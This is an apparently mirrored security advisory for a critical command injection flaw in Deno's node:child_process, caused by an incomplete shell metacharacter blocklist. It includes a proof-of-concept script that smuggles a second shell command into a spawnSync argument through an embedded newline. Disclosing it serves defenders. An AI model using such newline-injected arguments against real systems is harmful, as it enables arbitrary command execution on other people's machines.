# JLSEC-2026-116: Deno has a Command Injection via Incomplete shell metacharacter blocklist in `node:child_process`

- Severity: Critical 9.8 (CVSS:3.1, scored by Julia Security Advisories) `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
- Known to be exploited: not in CISA's catalogue, which lists only what CISA has confirmed
- Published: 2026-04-14T13:10:46.494Z
- Modified: 2026-07-25T18:23:55.223Z
- Related: CVE-2026-27190, GHSA-hmh4-3xvx-q5hr, EUVD-2026-7794

## Description

## Summary

A command injection vulnerability exists in Deno's `node:child_process` implementation.

## Reproduction

```javascript
import { spawnSync } from "node:child_process";
import * as fs from "node:fs";

// Cleanup
try { fs.unlinkSync('/tmp/rce_proof'); } catch {}

// Create legitimate script
fs.writeFileSync('/tmp/legitimate.ts', 'console.log("normal");');

// Malicious input with newline injection
const maliciousInput = `/tmp/legitimate.ts\ntouch /tmp/rce_proof`;

// Vulnerable pattern
spawnSync(Deno.execPath(), ['run', '--allow-all', maliciousInput], {
  shell: true,
  encoding: 'utf-8'
});

// Verify
console.log('Exploit worked:', fs.existsSync('/tmp/rce_proof'));
```

Run: `deno run --allow-all poc.mjs`

The file `/tmp/rce_proof` is created, confirming arbitrary command execution.

## Mitigation

All users need to update to the patched version (Deno v2.6.8).

(As written by Julia Security Advisories.)

## Affected

- Deno_jll (Julia): before 2.6.10+0

## References

- <https://github.com/advisories/GHSA-hmh4-3xvx-q5hr> (web)
- <https://github.com/denoland/deno/commit/9132ad958c83a0d0b199de12b69b877f63edab4c> (web)
- <https://github.com/denoland/deno/releases/tag/v2.6.8> (web)
- <https://github.com/denoland/deno/security/advisories/GHSA-hmh4-3xvx-q5hr> (web)
- <https://nvd.nist.gov/vuln/detail/CVE-2026-27190> (web)

## Sources

- Julia Security Advisories: [JLSEC-2026-116](https://osv.dev/vulnerability/JLSEC-2026-116), CC-BY-4.0, modified 2026-07-25

---

Page: https://cve.day/JLSEC-2026-116 · Whole record: https://cve.day/JLSEC-2026-116.json · Rebuilt by cve.day 2026-11-25T22:56:25.883Z
